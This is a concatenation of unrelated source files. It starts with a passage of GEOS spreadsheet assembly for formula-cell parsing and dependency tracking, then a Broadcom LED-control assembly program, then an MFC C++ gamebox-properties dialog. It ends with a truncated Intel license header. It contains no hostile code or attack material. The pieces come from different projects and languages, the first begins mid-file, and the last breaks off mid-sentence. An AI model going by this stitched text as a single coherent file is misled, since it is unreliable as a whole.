SYNOPSIS: Format a formula
CALLED BY: EditFormatFormulaCell
PASS: ds:si = Pointer to the spreadsheet instance
ax:cx = Pointer to the formula
es:di = Pointer to the place to put it.
dx = Size of the buffer pointed at by es:di
ss:bx = ptr to CellReference for "current cell"
RETURN: cx = Length of the formatted text.
dx = Remaining size in es:di buffer
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 8/91 Initial version
witt 11/ 9/93 DBCS-ized. FP_nChars is wchar/char count
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormulaCellFormat proc far
class SpreadsheetClass
uses bp, bx, ds, si
.enter
EC < call ECCheckInstancePtr ;>
sub sp, size FormatParameters
mov bp, sp
call SpreadsheetInitCommonParams ; Initialize the common stuff
mov ds, ax ; ds:si <- ptr to expression
mov si, cx
;
; Set the "current" cell.
; For display in the edit bar, this will be the active cell.
; For "Show Formulas", this will be the current cell.
;
mov ax, ss:[bx].CR_row
mov ss:[bp].CP_row, ax
mov ax, ss:[bx].CR_column
mov ss:[bp].CP_column, ax
;
; Put an equal sign at the start
;
mov ax, '='
LocalPutChar esdi, ax ; Save the "="
LocalPrevChar esdx ; One less character will fit
; (dx is buffer size)
if DBCS_PCGEOS
mov ax, dx ; preserve dx (size)
shr ax, 1 ; ax <- buffer length
EC< ERROR_C CELL_NAME_BUFFER_ODDSIZED
mov ss:[bp].FP_nChars, ax ; Save the buffer length
else
mov ss:[bp].FP_nChars, dx ; Save the buffer length
endif
call ParserFormatExpression ; Format the expression.
; cx <- text length (w/out NULL)
add sp, size FormatParameters ; Restore stack
.leave
ret
FormulaCellFormat endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormulaCellParseText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Parse cell text, updating dependencies and saving the
new parsed tokens. Evaluates and saves the result.
CALLED BY: NameParseText
PASS: ds:si = Pointer to the spreadsheet instance
es:di = Pointer to the text (null terminated)
cx = Length of the text
ax = The row of the cell (NAME_ROW for names)
dx = The column of the cell
RETURN: carry set on error
al = ParserScannerEvaluatorError
cx,dx = Range of the text that didn't parse
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The only errors returned from this function are parse-errors.
These are the type of errors that the user is required to fix before
the application can store the data into the cell.
So... This means that if this function returns an error then the
cell data did not get stored.
Other errors (evaluator errors) result in information being stored in
the cell signalling that there was some sort of error. The user
is informed of these when the cell is displayed. The error message
will appear inside the cell.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 5/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormulaCellParseText proc near
class SpreadsheetClass
uses bx, bp, es, di, ds, si
.enter
EC < call ECCheckInstancePtr ;>
sub sp, size PCT_vars ; Make a stack frame
mov bp, sp ; ss:bp <- ptr to stack frame
;
; Initialize the common parts of the stack frame.
;
call SpreadsheetInitCommonParams
mov bx, ax ; bx <- row of the cell
;
; We parse the text then remove the old dependencies, then add the
; new dependencies.
;
push dx ; Save column of the cell
push ds, si ; Save instance ptr
mov ss:[bp].PP_parserBufferSize, PARSE_TEXT_BUFFER_SIZE
mov ss:[bp].PP_flags, mask PF_OPERATORS or \
mask PF_CELLS or \
mask PF_NUMBERS or \
mask PF_FUNCTIONS or \
mask PF_NAMES or \
mask PF_NEW_NAMES
segmov ds, es, si ; ds:si <- ptr to the text to parse
mov si, di
segmov es, ss ; es:di <- ptr to place to put tokens
lea di, ss:[bp].PCTV_parseBuffer
call ParserParseString ; Parse me jesus
; di <- ptr past the last token written
pop ds, si ; Restore instance ptr
;
; If we branch, the column of the cell is on the stack
; If we branch, cx/dx = range of text where error was encountered.
;
jc errorParsing ; Branch on error
pop dx ; Restore column of the cell
;
; The text parsed correctly. Get rid of the old dependencies.
;
call SpreadsheetAllocFormulaCell
quit:
lahf ; Save error flag (carry)
add sp, size PCT_vars ; Restore the stack frame
sahf ; Restore error flag (carry)
.leave
ret
errorParsing:
;
; An error was encountered while parsing. It should be a nice benign
; error that we can return to our caller. The only reason for branching
; here after the error rather than branching directly to "quit" is
; so we can set a nice breakpoint and catch these errors if we want
; to.
;
; On stack: Column of cell
;
pop bp ; We can trash bp safely here
stc
jmp quit
FormulaCellParseText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SpreadsheetAllocFormulaCell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update dependencies and save the new tokens. Evaluate and
save the result.
CALLED BY: FormulaCellParseText, PasteCreateFormulaCell
PASS: ds:si = pointer to the spreadsheet instance
es:di = pointer past the parsed data
bx = The row of the cell (NAME_ROW for names)
dx = The column of the cell
ss:bp = PCT_vars
RETURN: nothing
DESTROYED: ax,bx,dx
PSEUDO CODE/STRATEGY:
The only errors returned from this function are parse-errors.
These are the type of errors that the user is required to fix before
the application can store the data into the cell.
So... This means that if this function returns an error then the
cell data did not get stored.
Other errors (evaluator errors) result in information being stored in
the cell signalling that there was some sort of error. The user
is informed of these when the cell is displayed. The error message
will appear inside the cell.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 5/91 Initial version
cheng 7/24/91 Extracted from FormulaCellParseText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SpreadsheetAllocFormulaCellNoGC proc far
call SpreadsheetAllocFormulaCellCommon
ret
SpreadsheetAllocFormulaCellNoGC endp
SpreadsheetAllocFormulaCellFar proc far
call SpreadsheetAllocFormulaCell
ret
SpreadsheetAllocFormulaCellFar endp
SpreadsheetAllocFormulaCell proc near
.enter
call SpreadsheetAllocFormulaCellCommon
;
; Clean up the unreferenced names. These names used to be nuked when
; we removed the old dependencies, but this can't work because if we
; alter the only formula that refers to an undefined name, the name
; will be nuked when we remove the old dependencies. Since these names
; are created when the formula is successfully parsed, it won't exist
; when we go to add the dependencies again.
;
call NameListCleanupUndefinedEntries
clc ; Signal: no error
.leave
ret
SpreadsheetAllocFormulaCell endp
SpreadsheetAllocFormulaCellCommon proc near
EC < call ECCheckInstancePtr ;>
;
; We are getting rid of all the stuff that the old expression
; is responsible for. After we've done this we will generate
; the new dependencies.
;
; We need to evaluate from the point of view of the cell we are
; defining, otherwise the relative cell references won't work
; correctly.
;
; bx/dx = Row/Column of the cell that was passed in.
;
mov ss:[bp].PCTV_row, bx ; This is the cell we are defining
mov ss:[bp].PCTV_column, dx
mov ss:[bp].CP_row, bx
mov ss:[bp].CP_column, dx
mov bl, ss:[bp].PP_flags ; bl <- the parser flags
mov dx, -1 ; Signal: Remove dependencies
call AddRemoveCellDependencies
;
; Save the formula for the cell.
;
mov al, CT_FORMULA ; The type for the cell
test bl, mask PF_CONTAINS_DISPLAY_FUNC
jz gotCellType ; Branch if not a display cell
mov al, CT_DISPLAY_FORMULA ; If it is, use this cell type
gotCellType:
call SaveCellFormula ; Save formula
clr dx ; Signal: Add dependencies
call AddRemoveCellDependencies
clc
ret
SpreadsheetAllocFormulaCellCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SaveCellFormula
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Save the cell formula into the cell
CALLED BY: ParseCellText
PASS: ss:bp = Pointer to PCT_vars
ds:si = Pointer to spreadsheet instance
di = Pointer past the parsed data
al = CellType (either CT_FORMULA or CT_DISPLAY_FORMULA)
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
If the cell does not exist, create it
Find the position of the old formula
Figure out the difference in sizes of the old formula and the new one
Insert/delete space in the cell
Store the new formula
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 5/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SaveCellFormulaFar proc far
call SaveCellFormula
ret
SaveCellFormulaFar endp
SaveCellFormula proc near
uses ax, bx, cx, dx, ds, si, es, di
.enter
EC < call ECCheckInstancePtr ;>
;
; Compute the size of the parsed formula.
;
sub di, bp ; di <- offset from start of frame
sub di, offset PCTV_parseBuffer ; di <- # of bytes in new formula
mov dx, di ; Save size of new formula in dx
push ax ; Save passed cell type
lockCell:
mov ax, ss:[bp].PCTV_row ; ax <- row of the cell
mov cx, ss:[bp].PCTV_column ; cx <- column of the cell
SpreadsheetCellLock ; *es:di <- ptr to the cell
jc gotCell ; Branch if cell exists
;
; Cell doesn't exist, create it.
;
call SpreadsheetCreateEmptyCell
jmp lockCell ; Loop to lock it again
gotCell:
pop bx ; Restore passed cell type into bx
mov di, es:[di] ; es:di <- ptr to the cell
;
; If the cell isn't a formula cell (it may be something else) then
; we want to turn it into a formula cell.
;
push dx ; Save new formula size
cmp es:[di].CC_type, bl ; Check for correct cell type
jne changeToFormulaCell ; Branch if not already formula cell
gotFormulaCell:
pop dx ; Restore new formula size
;
; ax = Row of the current cell
; cx = Column of the current cell
; es:di = Pointer to cell data
; dx = Size of new formula
;
; dx <- change in size
sub dx, es:[di].CF_formulaSize
SpreadsheetCellUnlock ; Release the cell
;
; Now we resize the cell
; dx = # of bytes to insert/delete
;
push cx, dx ; Save column #, change in size
mov cx, dx ; cx <- # to insert
mov dx, CF_formula ; dx <- place to insert
call InsertIntoCurrentCell ; Insert space
pop cx, dx ; Restore column #, change in size
SpreadsheetCellLock ; *es:di <- ptr to the definition
;
; If the cell does not exist then something is horribly wrong. We
; just unlocked it a second ago.
;
EC < ERROR_NC CELL_DOES_NOT_EXIST >
mov di, es:[di] ; es:di <- ptr to the cell
add es:[di].CF_formulaSize, dx
;
; es:di = Pointer to the cell
; parseBuffer (on stack) contains new formula
;
; Get the size of the new data and copy it into the cell
;
push ds, si ; Save instance pointer
mov cx, es:[di].CF_formulaSize
add di, CF_formula ; es:di <- ptr to destination
segmov ds, ss, ax ; ds:si <- ptr to source
lea si, ss:[bp].PCTV_parseBuffer
rep movsb ; Copy the formula
pop ds, si ; Restore instance ptr
call UnlockAndDirtyCell ; dirty the cell and unlock it
.leave
ret
changeToFormulaCell:
;
; We want to replace the cell data with an empty formula cell data.
; This isn't too easy since we need to keep the dependencies around.
; bx = Type for the new cell
;
SpreadsheetCellUnlock ; Release the cell definition
mov dx, (size CellFormula - size CellCommon)
call SpreadsheetCellResizeData
;
; Now we've created the cell. Lock it down and initialize it.
;
SpreadsheetCellLock ; *es:di <- ptr to cell definition
mov di, es:[di] ; es:di <- ptr to cell
mov es:[di].CF_common.CC_type, bl
mov es:[di].CF_return, RT_VALUE
mov es:[di].CF_formulaSize, 0
push ax, cx, di ; Save row, column, cell ptr
add di, offset CF_current ; es:di <- ptr to current value
clr al ; Byte to store
mov cx, size CF_current ; cx <- size of structure to fill
DBCS< CheckHack< (size CF_current) ge (size wchar) > ; at least store C_NULL >
rep stosb ; Save zeros...
pop ax, cx, di ; Restore row, column, cell ptr
jmp gotFormulaCell ; Branch now that it's set up
SaveCellFormula endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddRemoveCellDependencies
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add or remove dependencies for a cell
CALLED BY: ParseCellText
PASS: dx = -1 to remove
= 0 to add
ss:bp = Pointer to PCT_vars
ds:si = Spreadsheet instance
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Adding and removing dependencies is really simple, except in the
case of names. In the case of names we need to do it for the name
and for every cell which references the name. Sigh.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This routine must be declared "far" because it is passed as a callback
routine on the stack.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 5/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddRemoveCellDependenciesFar proc far
call AddRemoveCellDependencies
ret
AddRemoveCellDependenciesFar endp
AddRemoveCellDependencies proc near
uses ax, cx
.enter
EC < call ECCheckInstancePtr ;>
mov ax, ss:[bp].PCTV_row ; ax <- row
mov cx, ss:[bp].PCTV_column ; cx <- column
cmp ax, NAME_ROW ; Check for a name
je handleNameDependents ; Branch if it's a name
;
; It's just a normal cell... Do the right thing here.
;
mov ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES
addRemoveDeps:
call CellAddRemoveDeps ; Add or remove dependencies
.leave
ret
handleNameDependents:
;
; When the definition of a name changes, we need to update all the
; cells which depend on that name. This isn't quite as easy as it
; sounds since there may be cells which depend on the name indirectly
; through the use of a name which references this one.
;
; We use the recalc-list code to build out a list of the cells which
; depend on this name.
;
mov ss:[bp].PCTV_addRem, dx ; Save add/remove flag
call UpdateNameDependents ; Update the dependents dependencies.
;
; Restore the row/column in the stack frame.
;
mov ss:[bp].PCTV_row, ax
mov ss:[bp].PCTV_column, cx
mov ss:[bp].CP_row, ax
mov ss:[bp].CP_column, cx
;
; Set the flags we need for creating the dependencies for the name itself
;
mov ss:[bp].EP_flags, mask EF_MAKE_DEPENDENCIES or \
mask EF_ONLY_NAMES
jmp addRemoveDeps ; Branch to handle the name cell
AddRemoveCellDependencies endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InsertIntoCurrentCell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Insert space into a formula cell
CALLED BY:
PASS: ss:bp = CommonParams structure on stack
cx = # of bytes to insert
dx = Position to insert at
ds:si = Pointer to spreadsheet instance
RETURN: nothing (If there is an error, then we will choke badly)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 5/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InsertIntoCurrentCell proc near
class SpreadsheetClass
uses ax, bx, di
.enter
EC < call ECCheckInstancePtr ;>
push cx ; Save # of bytes to insert
mov ax, ss:[bp].PCTV_row
mov cx, ss:[bp].PCTV_column
SpreadsheetCellGetDBItem ; ax, di <- dbase item
pop cx ; Restore # of bytes to insert
;
; Set up parameters (dx = place to insert, cx = # of bytes to insert)
;
; bx <- file handle
mov bx, ds:[si].SSI_cellParams.CFP_file
;
; If cx is negative we want to delete space
;
tst cx
jz quit ; Quit if nothing to insert
js deleteSpace
call DBInsertAt ; Make me some space
jmp quit ; Quit, returning any error
deleteSpace:
neg cx ; cx <- # of bytes to delete
call DBDeleteAt ; Delete the space
quit:
.leave
ret
InsertIntoCurrentCell endp
SpreadsheetNameCode ends
InitCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NameInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the name block
CALLED BY: Global
PASS: bx = File handle, map-item should already be allocated.
RETURN: ax = VM handle of name block
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 3/ 7/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NameInit proc near
uses cx, es, di, bp
.enter
;
; Initialize our name block.
;
clr ax ; ax <- no user ID
mov cx, size NameHeader ; cx <- size
call VMAlloc ; ax <- VM block for names
push ax ; save VM handle of name array
;
; Lock and initialize the name block.
;
call VMLock ; ax <- seg addr, bp <- mem handle
mov es, ax
mov es:NH_definedCount, 0
mov es:NH_undefinedCount, 0
mov es:NH_nextToken, 0
mov es:NH_blockSize, size NameHeader
call VMDirty ; Mark it as dirty
call VMUnlock ; Unlock it, we don't need it anymore
pop ax ; ax <- VM handle of name array
.leave
ret
NameInit endp
InitCode ends
|
;
;
;
; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file.
;
; Copyright 2007-2019 Broadcom Inc. All rights reserved.
;
; This example is used for showing the serial LEDs on
; bcm956174r on option 11b.
;
; To start it, use the following commands from BCM:
;
; led 1 load bcm956174r_1.hex
; led 1 auto on
; led 1 start
;
; For CL port needs to output 2 bits stream,
; bit 0: LED_0 (Link)
; bit 1: LED_1 (Activity)
; For TSCE 10G port need to output 4 bits stream,
; bit 0: LED_0 (Link/Activity)
; bit 1: LED_1 (Link/Activity)
; bit 2: LED_2 (Speed)
; bit 3: LED_3 (Speed)
;
; Totally 6 ports need be outputed, i.e. 12 (= 6 * 2 ) bits.
; The output sequence for EGPHY will follow the user port sequence.
;
; The LED sequence is (User Port, Front Panel Order)
; 25-30 (Lport 38-43, Routing 41-38 42 43)
; Mapping onto physical port view, the sequence is:
; 77 76 75 74 82 86
; 21 20 19 18 26 30 (LED1 remap, -56)
;
; The CMIC_LEDUP1_PORT_ORDER_REMAP_XXX can only store 6 bits value for 64 ports, also for
; CMIC_LEDUP1_DATA_RAM it can only store data of 64 ports (128 bytes, each port requires
; 2 bytes). So for LED1 which is for physical ports 58-89, the physical port id has to be
; shifted in order to fit in the capability of the HW tables. GH2 LED driver shifts physical
; ports 58-89 to indices 2-33 (by minus 56) for LED1 tables, so that the shifted value can
; be stored in PORT_ORDER_REMAP and reflects on the DATA_RAM.
;
; The output order should be the inverted sequence of the physical
; mapping view
; 30 26 18 19 20 21
; Link up/down info cannot be derived from LINKEN, as the LED
; processor does not always have access to link status. This program
; assumes link status is kept current in bit 0 of RAM byte (0xA0 + portnum).
; Generally, a program running on the main CPU must update these
; locations on link change; see linkscan callback in
; $SDK/src/appl/diag/ledproc.c.
;
;
; Constants
;
; the smaller the TXRX_ALT_TICKS the faster it blinks
TXRX_ALT_TICKS EQU 5
TXRX_ALT_COUNT equ 30
NUM_PORTS equ 6
START_PORT_0 equ 30
END_PORT_0 equ 30
START_PORT_1 equ 26
END_PORT_1 equ 26
START_PORT_2 equ 21
END_PORT_2 equ 18
;
; LED process
;
start_sec0:
ld a, START_PORT_0
iter_sec0:
port a
ld (PORT_NUM), a
call get_link_hw
call get_activity_hw
ld a, (PORT_NUM)
inc a
cmp a, END_PORT_0 + 1
jnz iter_sec0
start_sec1:
ld a, START_PORT_1
iter_sec1:
port a
ld (PORT_NUM), a
call get_link_hw
call get_activity_hw
ld a, (PORT_NUM)
dec a
cmp a, END_PORT_1 - 1
jnz iter_sec1
start_sec2:
ld a, START_PORT_2
iter_sec2:
port a
ld (PORT_NUM), a
call get_link1Gspeed_status
call get_link10Gspeed_status
ld a, (PORT_NUM)
dec a
cmp a, END_PORT_2 - 1
jnz iter_sec2
update:
inc (TXRX_ALT_COUNT)
end:
send 2*NUM_PORTS
;
; get_link_hw
;
; This routine finds the link status LED for a port from HW.
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if link is up, clear if link is down.
; Destroys: a, b
get_link_hw:
pushst LINKEN
pop
jc led_on
jmp led_off
;
; get_link_sw
;
; This routine finds the link status LED for a port.
; Link info is in bit 0 of the byte read from PORTDATA[port]
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if link is up, clear if link is down.
; Destroys: a, b
get_link_sw:
ld b, PORTDATA
add b, (PORT_NUM)
ld a, (b)
tst a, 0
jc led_on
jmp led_off
;
; get_activity_hw
;
; This routine finds the link status LED for a port from HW.
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if RX or TX is up, clear if link is down.
; Destroys: a, b
get_activity_hw:
pushst RX
pushst TX
tor
pop
jc led_blink
jmp led_off
;
; get_linkact_status
;
; This routine finds the link and activity status for a port from HW.
; The LED will blink if there is activity.
; Inputs: a
; Outputs: LED stream for on or off.
; Destroys: b
get_linkact_status:
port a
pushst LINKEN
pop
jnc led_off ; Always black, No LINK
pushst RX
pushst TX
tor
pop
jc led_blink ; Show activity
jmp led_on ; Show Link
;
; get_link10Gspeed_status
;
; This routine finds the link and 10G speed status for a port from HW.
; The LED will blink if there is activity.
; Inputs: a
; Outputs: LED stream for on or off.
; Destroys: b
get_link10Gspeed_status:
port a
pushst LINKEN
pop
jnc led_off ; Always black, No LINK
pushst SPEED_C
pushst SPEED_M
tand
pop
jnc led_off ; Always black, No 10G
pushst RX
pushst TX
tor
pop
jc led_blink ; Show activity
jmp led_on ; Show Link
;
; get_link1Gspeed_status
;
; This routine finds the link and 1G speed status for a port from HW.
; The LED will blink if there is activity.
; Inputs: a
; Outputs: LED stream for on or off.
; Destroys: b
get_link1Gspeed_status:
port a
pushst LINKEN
pop
jnc led_off ; Always black, No LINK
pushst SPEED_M
pop
jnc led_off ; Always black, No 1G
pushst SPEED_C
pop
jc led_off ; If 100M also up, indicate its 10G not 1G
pushst RX
pushst TX
tor
pop
jc led_blink ; Show activity
jmp led_on ; Show Link
;
; led_blink
;
; Making the LED blinking
;
led_blink:
ld b, (TXRX_ALT_COUNT)
and b, TXRX_ALT_TICKS
jz led_on
jmp led_off
;
; led_on
;
; Outputs: Bits to the LED stream indicating ON
;
led_on:
push 0
pack
ret
;
; led_off
;
; Outputs: Bits to the LED stream indicating OFF
;
led_off:
push 1
pack
ret
; Variables (SDK software initializes LED memory from 0xA0-0xff to 0)
PORTDATA equ 0xA0
PORT_NUM equ 0xE0
; Symbolic names for the bits of the port status fields
RX equ 0x0 ; received packet
TX equ 0x1 ; transmitted packet
COLL equ 0x2 ; collision indicator
SPEED_C equ 0x3 ; 100 Mbps
SPEED_M equ 0x4 ; 1000 Mbps
DUPLEX equ 0x5 ; half/full duplex
FLOW equ 0x6 ; flow control capable
LINKUP equ 0x7 ; link down/up status
LINKEN equ 0x8 ; link disabled/enabled status
ZERO equ 0xE ; always 0
ONE equ 0xF ; always 1
|
// DlgGboxp.cpp : implementation file
//
// Copyright (c) 1994-2020 By Dale L. Larson, All Rights Reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
#include "stdafx.h"
#include "Gm.h"
#include "StrLib.h"
#include "DlgGboxp.h"
#include "zlib.h"
#include "DlgSpass.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CGmBoxPropsDialog dialog
CGmBoxPropsDialog::CGmBoxPropsDialog(CWnd* pParent /*=NULL*/)
: CDialog(CGmBoxPropsDialog::IDD, pParent)
{
//{{AFX_DATA_INIT(CGmBoxPropsDialog)
m_strAuthor = "";
m_strDescr = "";
m_strTitle = "";
//}}AFX_DATA_INIT
m_nCompressLevel = Z_BEST_SPEED;
m_bPropEdit = TRUE;
m_bPassSet = FALSE;
m_strPassword = "";
}
void CGmBoxPropsDialog::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CGmBoxPropsDialog)
DDX_Control(pDX, IDC_D_GBXPRP_COMPRESSION, m_comboCompress);
DDX_Control(pDX, IDC_D_GBXPRP_AUTHOR, m_editAuthor);
DDX_Text(pDX, IDC_D_GBXPRP_AUTHOR, m_strAuthor);
DDV_MaxChars(pDX, m_strAuthor, 40);
DDX_Text(pDX, IDC_D_GBXPRP_DESCR, m_strDescr);
DDV_MaxChars(pDX, m_strDescr, 2000);
DDX_Text(pDX, IDC_D_GBXPRP_TITLE, m_strTitle);
DDV_MaxChars(pDX, m_strTitle, 60);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CGmBoxPropsDialog, CDialog)
//{{AFX_MSG_MAP(CGmBoxPropsDialog)
ON_BN_CLICKED(IDC_D_SET_PASSWORD, OnSetPassword)
ON_WM_HELPINFO()
ON_WM_CONTEXTMENU()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// Html Help control ID Map
static DWORD adwHelpMap[] =
{
IDC_D_GBXPRP_AUTHOR, IDH_D_GBXPRP_AUTHOR,
IDC_D_GBXPRP_COMPRESSION, IDH_D_GBXPRP_COMPRESSION,
IDC_D_GBXPRP_DESCR, IDH_D_GBXPRP_DESCR,
IDC_D_GBXPRP_TITLE, IDH_D_GBXPRP_TITLE,
IDC_D_SET_PASSWORD, IDH_D_SET_PASSWORD,
0,0
};
BOOL CGmBoxPropsDialog::OnHelpInfo(HELPINFO* pHelpInfo)
{
return GetApp()->DoHelpTipHelp(pHelpInfo, adwHelpMap);
}
void CGmBoxPropsDialog::OnContextMenu(CWnd* pWnd, CPoint point)
{
GetApp()->DoHelpWhatIsHelp(pWnd, adwHelpMap);
}
/////////////////////////////////////////////////////////////////////////////
// CGmBoxPropsDialog message handlers
void CGmBoxPropsDialog::OnOK()
{
CDialog::OnOK();
m_nCompressLevel = m_comboCompress.GetItemData(m_comboCompress.GetCurSel());
}
BOOL CGmBoxPropsDialog::OnInitDialog()
{
CDialog::OnInitDialog();
CString str;
str.LoadString(IDS_COMPRESS_NONE);
int nItem = m_comboCompress.AddString(str);
m_comboCompress.SetItemData(nItem, Z_NO_COMPRESSION);
str.LoadString(IDS_COMPRESS_FASTEST);
nItem = m_comboCompress.AddString(str);
m_comboCompress.SetItemData(nItem, Z_BEST_SPEED);
str.LoadString(IDS_COMPRESS_MEDIUM);
nItem = m_comboCompress.AddString(str);
m_comboCompress.SetItemData(nItem, 6);
str.LoadString(IDS_COMPRESS_MOST);
nItem = m_comboCompress.AddString(str);
m_comboCompress.SetItemData(nItem, Z_BEST_COMPRESSION);
switch (m_nCompressLevel)
{
case Z_NO_COMPRESSION: m_comboCompress.SetCurSel(0); break;
case Z_BEST_SPEED: m_comboCompress.SetCurSel(1); break;
case 6: m_comboCompress.SetCurSel(2); break;
case Z_BEST_COMPRESSION: m_comboCompress.SetCurSel(3); break;
default: ASSERT(FALSE); m_comboCompress.SetCurSel(1); break;// Shouldn't happen
}
// if (m_bPropEdit)
// {
// m_editAuthor.SetFocus();
// return FALSE;
// }
return TRUE; // Return TRUE unless you set the focus to a control
}
void CGmBoxPropsDialog::OnSetPassword()
{
CSetGameboxPassword dlg;
if (dlg.DoModal() == IDOK)
{
m_strPassword = dlg.m_strPass1;
m_bPassSet = TRUE;
}
}
|
;;
;; Copyright (c) 2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
